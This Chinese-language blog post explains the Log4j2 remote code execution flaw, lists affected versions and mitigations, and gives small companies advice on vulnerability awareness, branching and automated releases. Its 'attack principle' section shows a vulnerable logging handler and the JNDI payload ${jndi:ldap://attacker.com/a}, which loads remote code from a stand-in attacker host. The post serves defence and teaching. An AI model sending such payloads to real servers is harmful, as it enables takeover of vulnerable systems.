Log4j史詩級漏洞,我們這些小公司能做些什麼? 《軍事最前線》

事件背景

12月10日,看到朋友圈中已經有人在通宵修改、上線系統了。隨即,又看到阿裡雲安全、騰訊安全部門發出的官方報告:」Apache Log4j2存在遠程代碼執行漏洞「,且漏洞已對外公開。

看到相關消息,馬上爬起來把所有項目的日誌系統過濾一遍,還好老項目採用的log4j,新項目採用的logback,沒有中招。隨後就看到朋友圈鋪天蓋地的相關消息。

作為一個史詩級的事件,緊急修改漏洞是必然的。作為程式設計師,如果看到這則消息,連去核查一下系統都做不到,那真的不是一個合格的程式設計師。

經歷過這次事件,不僅是看熱鬧而已,還要思考一下,作為小公司如何避免、提前預防、做好準備應對這類Bug。

漏洞描述

Apache Log4j2是一款優秀的Java日誌框架,與Logback平分秋色,大量主流的開源框架採用了Log4j2,像Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影響。所以,這樣一個底層框架出現問題,影響面可想而知。

漏洞信息:Apache Log4j 2.15.0-rc1 版本存在漏洞繞過,需及時更新至 Apache Log4j 2.15.0-rc2 版本。

影響範圍:2.0 <= Apache log4j2 <= 2.14.1。

最新修復版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

補救方案

方案一:升級版本,發佈系統;

方案二:臨時補救:

  • 修改JVM參數,設置 -Dlog4j2.formatMsgNoLookups=true
  • 在涉及漏洞的項目的類路徑(classpath)下增加log4j2.component.properties配置文件並增加配置項log4j2.formatMsgNoLookups=true
  • 將系統環境變量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設置為 true。

攻擊原理

攻擊偽代碼示例:

import org.apache.log4j.Logger;import java.io.*;import java.sql.SQLException;import java.util.*;public class VulnerableLog4jExampleHandler implements HttpHandler {  static Logger log = Logger.getLogger(log4jExample.class.getName());  /**   * 示例偽代碼:一個簡單的HTTP端點,其中讀取User Agent信息並進行日誌記錄;   */  public void handle(HttpExchange he) throws IOException {   // 獲取user-agent信息    String userAgent = he.getRequestHeader("user-agent");        // 此行記錄日誌的代碼,通過記錄攻擊者控制的HTTP用戶代理標頭來觸發RCE。    // 攻擊者可以設置他們的User-Agent header到${jndi:ldap://attacker.com/a}    log.info("Request User Agent:" + userAgent);    String response = "<h1>Hello There, " + userAgent + "!</h1>";    he.sendResponseHeaders(200, response.length());    OutputStream os = he.getResponseBody();    os.write(response.getBytes());    os.close();  }}

基於上述代碼的基本攻擊步驟:

  • 請求對應的HTTP端點(或接口),在請求信息中攜帶攻擊代碼(比如,在user-agent中攜帶${jndi:ldap://attacker.com/a});
  • 伺服器在通過Log4j2執行日誌記錄時,記錄中包含了基於JNDILDAP的惡意負載${jndi:ldap://attacker.com/a},其中attacker.com是攻擊者控制的地址。
  • 記錄日誌操作觸發向攻擊者控制的地址發送請求。
  • 對應請求返回在響應中返回可執行的惡意代碼,註入到伺服器進程當中。比如返回,https://attacker.com/Attack.class 。
  • 進而執行腳本控制伺服器。

騰訊安全專家的復現如下:

log4j2漏洞復現

小公司程式設計師能做些什麼?

關於漏洞及解決方案,上面已經詳細聊了,問題基本得以解決。在大的網際網路企業,是有專門的安全運維部門來監控、掃描這些漏洞的。但在小公司,很顯然沒有這樣的條件。

那麼,我們該怎麼辦?同時,作為事件的經歷者,你是否思考過這個事件中反映出的一些其他問題嗎?

第一,是否第一時間得到消息?

在大企業,一旦發現這樣的漏洞,安全部門會第一時間進行通知。但在小企業,沒有安全部門,你是如何獲取到漏洞的消息的呢?

比如我所在的企業,是沒有安全部門的,但也幾乎是第一時間得知漏洞消息,進行系統排查的。

作為程式設計師,如果漏洞消息已經爆出很久,你卻一無所知,那就應該反思一下朋友圈的質量以及對技術熱點的關註度問題了。

如何獲得圈內第一手消息,取決於也反映著你在社交圈或技術圈所處的位置與現狀

第二,是否置若罔聞?

很多朋友可能也看到了這則漏洞消息,但也就是看一下熱鬧,然後該幹嘛幹嘛了,系統有漏洞就有漏洞了唄~

如果你是如此,或你的團隊是如此,你真的需要反省一下職業素養問題了。

很多人可能覺得自己很牛,覺得自己懷才不遇,覺得工資收入低,覺得被虧待……那麼,對照一下對這件事所作出的反應,基本就知道自己是不是被虧待了。

第三,如何應對突發事件?

這樣的突發事件,也是對系統運維、團隊管理的一個考驗,也是一個仿真練習:大家都正在進行著當前業務的開發,有一個突發Bug要修改,改一半的代碼如何操作?如大面積發佈?

第一,改一半的代碼怎麼辦?如果你的團隊的代碼開發都是基於master(主幹)進行開發、提交代碼,針對這樣的突發事件,必然會面對改了一半的代碼,提交了,想一起發佈但還沒測試,這種騎虎難下的局面。

所以,代碼的管理(如何打分支、合併分支、分支與主幹代碼不同環境的發佈)必須得從日常的點滴做起,當突發事件發生時,也不至於手忙腳亂。

第二,有大量項目需要發佈怎麼辦?當然,最古老的方式就是一個系統一個系統手動發佈。如果是微服務及應用較多,不僅容易出現錯誤,而且耗時較長。這就提醒我們,構建自動化發佈流程的重要性。

第四,怎麼找出系統漏洞?

有安全部門的公司,會定期掃描系統漏洞,那麼沒有安全部門的公司隻能坐以待斃嗎?

其實,還是有一些方法可以發現系統的一些漏洞的。比如,勤關註使用框架的版本升級、利用三方提供的漏洞掃描(比如阿裡雲伺服器的安全掃描)、與同行交流等手段。

小結

任何一個漏洞對軟體系統來說都有可能是致命的,也需要我們謹慎對待的。對於漏洞的處理及做出的反應也是從業者職業素養的體現。

而如果能從一次次突發事件中學習、思考到更多內容,你將比別人更快的成長。

KaiFaX面向全棧工程師的開發者專註於前端、Java/Python/Go/PHP的技術